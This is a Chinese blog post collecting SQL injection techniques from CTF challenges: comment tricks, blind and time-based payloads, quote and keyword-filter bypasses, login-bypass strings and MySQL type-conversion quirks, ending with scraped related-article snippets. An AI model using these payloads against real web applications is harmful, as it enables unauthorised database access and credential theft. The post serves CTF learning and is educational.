CTF比赛中SQL注入的一些经验总结
ctf中sql注入下的一些小技巧
最近花了一点时间总结了各大平台中注入的trick,自己还是太菜了,多半都得看题解,就特此做了一个paper方便总结
注释符
以下是Mysql中可以用到的单行注释符:
#
-- -
;%00

以下是Mysql中可以用到的多行注释符(mysql下需要闭合):
/*
`

判断当前库是否有字段名
对于CTF中的题,某些可以直接判断有无flag表1′ or(flag)例如:全表

用or试一下

这里解释一下为什么or的结果为什么不全,说白了也就是atoi函数的特性
or(列名)其实是遍历字段名中的每个值然后选取那些不为false的内容,因为在mysql中’ssdd’字符串默认等于0等于false所以不显示,而’4ddf’这样的字符串默认等于4,也就是true也就会返回了
limit下的字段数判断
众所周知where条件下的字段数可以用order by判断,而limit后可以利用 1,into @,@ (@为字段数)判断字段数@为mysql临时变量,

原理请看http://www.w3school.com.cn/sql/sql_select_into.asp
or条件下的回显
以前总是对where id='1' or '1'='1'和where id='0' or '1'='1'的回显一直不是很了解,所以今天搭建环境测试了一下,如下可见

所以猜测在or条件下前后如果都为真则返回所有结果,否则只返回条件为真的一方的值
concat与concat_ws与group_concat
1.2 MySQL的concat函数在连接字符串的时候,只要其中一个是NULL,那么将返回NULLMySQL的concat函数在连接字符串的时候,只要其中一个是NULL,那么将返回NULL
mysql> select concat('11','22',null);+------------------------+| concat('11','22',null) |+------------------------+| NULL |+------------------------+1 row in set (0.00 sec)
和concat不同的是, concat_ws函数在执行的时候,不会因为NULL值而返回NULL
mysql> select concat_ws(',','11','22',NULL);+-------------------------------+| concat_ws(',','11','22',NULL) |+-------------------------------+| 11,22 |+-------------------------------+1 row in set (0.00 sec)
盲注下的条件语句和时间函数
这是我前几天刷wechall碰到的题,例如一下注入语句
select * from test1 where id='$_GET[id]';
已知没有回显位,id=3和id=1返回结果不一样并且过滤了’,空格,等等一堆关键词,不存在宽字节注入给个B师傅当时的payload
if(substr(flag,1,1)in(0x41),3,0)
写个脚本爆破之可得flag而基于时间的注入以前都是一直用的if(xxxxxx,1,sleep(2));最也发现了一个更好的函数BENCHMARK
IF(left(version(),1,1)=5, BENCHMARK(100000,SHA1('1')), 1)
BENCHMARK函数是指执行某函数的次数,次数多时能够达到与sleep函数相同的效果
逻辑操作符被过滤
先放一波like语法http://www.runoob.com/mysql/mysql-like-clause.html
绕过\’被过滤
hex编码
SELECT password FROM Users WHERE username = 0x61646D696E
char编码
SELECT FROM Users WHERE username = CHAR(97, 100, 109, 105, 110)
html实体字符编码
SELECT FROM Users WHERE username = 'admin'
%2527
这里主要是因为绕过magic_quotes_gpc过滤,因为%25解码为%,结合后面的27也就是%27也就是',所以成功绕过过滤。
宽字节就不说了gbk编码在单引号前面加一个%df即可
表名等关键字被过滤
以information_schema.tables为例
空格 information_schema . tables
着重号 information</em>schema.tables
特殊符 /!informationschema.tables/
别名 information_schema.(partitions),(statistics),(keycolumnusage),(table_constraints)
表单认证绕过
这里选两题一题是实验吧的web分类第一题
"SELECT username FROM users WHERE username='$username' AND password='$password'"
这样的直接username=admin'#即可,或者username='='&password='='这样就能构造出
"SELECT username FROM users WHERE username=''='' AND password=''=''"
所以逻辑判断绕过第二题是iscc的简单注入,猜测大致后台语句如下,PS:后台密码是md5处理过的
$results = SELECT password FROM users WHERE username='$username'
if($results==$_GET[$password]){
getflag();
}
这里可以构造username=0' union select md5(1)#&password=1
Mysql字符编码利用技巧
传入的username=admin%c2,php的检测if ($username === ‘admin’)自然就可以绕过的,在mysql中可以正常查出username=’admin’的结果,原理是Mysql在转换字符集的时候,将不完整 的字符给忽略了。具体可参照P师傅文章https://www.leavesongs.com/PENETRATION/mysql-charset-trick.html
隐式类型转换
这里先上几个图,自行体会精神


这里为什么我们输入为什么name=0会导致返回数据呢?其实这里跟php弱类型有异曲同工之妙,mysql在比较一个整数和一个字符串也会强制把字符串转化为整数进行比较,并返回一个warning,所以这里
pupil
admin
都会被转换为0所以与0比较相等,那么我们进一步猜想那一个非0开头的字符串强制转化是什么呢

由此可见,与PHP一样,mysql也会把字符串强制转化为开头的数字,若开头是字母则强制转化为0,那我们怎么利用这一黑魔法呢,众所周知,mysql一般都是字符型注入,很少有数字型注入的,就像where username='input'这样,我们单纯的输入数字是会被转化成字符串的,就像这样

这时候我们就需要做一些操作来构造注入点了,比如利用算术运算符
+,-,*,/,%
又或者位操作符
&,|,^
下面我们以+为例进行演示

过滤了&,|,*,/,=等逻辑处理字符
可以用in,exists,position..in,>,<,!,<>,like等操作符绕过这个链接有详细介绍http://www.runoob.com/mysql/mysql-like-clause.html这里举一个例子,比如要使用sql盲注的话但是过滤了substr,mid,asccii,ord等函数可以使用一下语句
admin' AND password LIKE "p%" --
一点实战例子
陕西省网络空间安全
过滤了
/ |\*|#|;|,|is|union|like|regexp|for|and|or|file|--|\||`|&|".urldecode('%09')."|".urldecode("%0a")."|".urldecode("%0b")."|".urldecode('%0c')."|".urldecode('%0d')."|".urldecode('%a0')."/i"
这里没有过滤^,所以可以绕过,payload
username=admin'^(ascii(mid((passwd)from(1)))>=10)^'1'='1
pwnhubcuit校赛
过滤了
/ |\*|#|,|union|like|sleep|regexp|left|right|strcmp|substr|=|limit|instr|benchmark|oct|\/|format|lpad|rpad|mod|insert|lower|bin|mid|hex|substring|ord|and|field|file|ascii|char|—|\|&|".urldecode('%09')."|".urldecode("%0a")."|".urldecode("%0b")."|".urldecode('%0c')."|".urldecode('%0d')."|".urldecode('%20')."|".urldecode('%a0')."/i
这里过滤了&,|,*,=等符号和substring,mid可以使用in,exists,>,<,<>,比较运算符绕过,payload
'where((table_schema)in(0x6261636b656e64)))r)where((table_name<0x74)))>0x{0})'
webhacking,kr
过滤了
union|and|||&|=|urldecode("%0b")."|".urldecode('%0c')."|".urldecode('%0d')."|".urldeco
de('%20')."|".urldecode('%a0').|/**/|/i
这里这里if和substr都没被过滤,并且空格可以被%0a绕过,所以payload
%0aor%0aif(substr((select%0aflag%0afrom%0aprob13password),1,1)in("0x41"),1,0)
最后总结一下注入题(手工注入。。)的一般思路(大牛轻喷),对于一般注入首先要找到注入点,比如有很多参数的先确定哪个参数好注入,再尝试有无过 滤或者过滤了那些字符,waf本身是否有问题导致直接可以大小写,双写,编码绕过的。当然一般ctf中的题注入如果有waf一般都是过滤不完全的,耐心点 就可以找出payload,最后就是注意一下参数提交的方式,有时候一些题目get方式过滤的很严格然而post只是象征性的过滤一下,还有一些 用$_REQUEST方式的注意除了get和post还可以尝试cookie注入。
CTF比赛中SQL注入的一些经验总结的更多相关文章
- 三步法搞定CTF中的SQL注入题型
三步法: 一.找到注入点 二.Fuzz出未过滤字符 三.构造payload/写脚本 例题1 打开题目: 第一步,寻找注入点. 输入用户名123456,密码123456,返回结果username err ...
- 【挖洞经验】如何在一条UPDATE查询中实现SQL注入
直奔主题 跟往常一样,在喝完我最爱的果汁饮料之后,我会习惯性地登录我的Synack账号,然后选择一个应用来进行渗透测试,此时我的“黑客之夜”便正式开始了. 我与很多其他的安全研究人员的习惯一样,我会在 ...
- union注入的几道ctf题,实验吧简单的sql注入1,2,这个看起来有点简单和bugku的成绩单
这几天在做CTF当中遇到了几次sql注入都是union,写篇博客记录学习一下. 首先推荐一篇文章“https://blog.csdn.net/Litbai_zhang/article/details/ ...
- CTF SQL注入
目录 一.宽字节注入 二.基于约束的注入 三.报错注入 四.时间盲注 五.bool盲注 六.order by的注入 六.INSERT.UPDATE.DELETE相关的注入 七.堆叠注入 八.常用绕过 ...
- CTF—WEB—sql注入之宽字节注入
宽字节注入 宽字节注入是利用mysql的一个特性,mysql在使用GBK编码(GBK就是常说的宽字节之一,实际上只有两字节)的时候,会认为两个字符是一个汉字(前一个ascii码要大于128,才到汉字 ...
- php SQL 防注入的一些经验
产生原因 一方面自己没这方面的意识,有些数据没有经过严格的验证,然后直接拼接 SQL 去查询.导致漏洞产生,比如: $id = $_GET['id']; $sql = "SELECT nam ...
- CTF—WEB—sql注入之无过滤有回显最简单注入
sql注入基础原理 一.Sql注入简介 Sql 注入攻击是通过将恶意的 Sql 查询或添加语句插入到应用的输入参数中,再在后台 Sql 服务器上解析执行进行的攻击,它目前黑客对数据库进行攻击的最常用手 ...
- “百度杯”CTF比赛 十月场-Getflag(md5碰撞+sql注入+网站绝对路径)
进去md5碰撞,贴一下脚本代码 import hashlib def md5(value): return hashlib.md5(str(value).encode("utf-8" ...
- WEB安全:XSS漏洞与SQL注入漏洞介绍及解决方案(转)
对web安全方面的知识非常薄弱,这篇文章把Xss跨站攻击和sql注入的相关知识整理了下,希望大家多多提意见. 对于防止sql注入发生,我只用过简单拼接字符串的注入及参数化查询,可以说没什么好经验,为避 ...
随机推荐
- 【LeetCode】232. Implement Queue using Stacks
题目: Implement the following operations of a queue using stacks. push(x) -- Push element x to the bac ...
- iOS- 解决iOS10 App启动时放大铺满App Icon的问题
0.前言 iOS10 App启动时放大铺满App图标 iPad Application shows app icon as launch screen in iOS 10 如图,点击APP后APP图标 ...
- input标签在只允许输入数字的时候添加的代码
oninput="this.value=this.value.replace(/\D/g, '')"
- javaweb利用filter拦截请求
项目上有个小需求,要限制访问者的IP,屏蔽未授权的登录请求.该场景使用过滤器来做再合适不过了. SecurityFilter.java: package com.lichmama.webdemo.fi ...
- mvcSSHweb.xml要配置的信息
<?xml version="1.0" encoding="UTF-8"?><web-app version="3.0" ...
- 使用C#创建SQLite桌面应用程序
本文属于原创,转载请注明出处,谢谢! 一.开发环境 操作系统:Windows 10 X64 开发环境:VS2015 编程语言:C# .NET版本:.NET Framework 4.0 目标平台:X86 ...
- mongoDB 学习笔记纯干货(mongoose、增删改查、聚合、索引、连接、备份与恢复、监控等等)
最后更新时间:2017-07-13 11:10:49 原始文章链接:http://www.lovebxm.com/2017/07/13/mongodb_primer/ MongoDB - 简介 官网: ...
- [BZOJ2783/JLOI2012]树 树上倍增
Problem 树 题目大意 给出一棵树,求这个树上的路径的数量,要求路径上的点权和等于s且路径的上每个点深度不同. Solution 这个题目可以用不少方法做. 首先,路径上每个节点的深度不同决定了 ...
- Luogu 2245 星际导航(最小生成树,最近公共祖先LCA,并查集)
Luogu 2245 星际导航(最小生成树,最近公共祖先LCA,并查集) Description sideman做好了回到Gliese 星球的硬件准备,但是sideman的导航系统还没有完全设计好.为 ...
- windows下安装DB2数据库以及使用Aqua Data Studio链接数据库
本文只是作为自己的心得体会,不具有一般性! 1.其实安装DB2数据库还是比较简单的,一般都是直接下一步下一步就可以了,只是有些地方需要注意.我安装的DB2数据库版本如下图所示: 2.拿到数据库的版本之 ...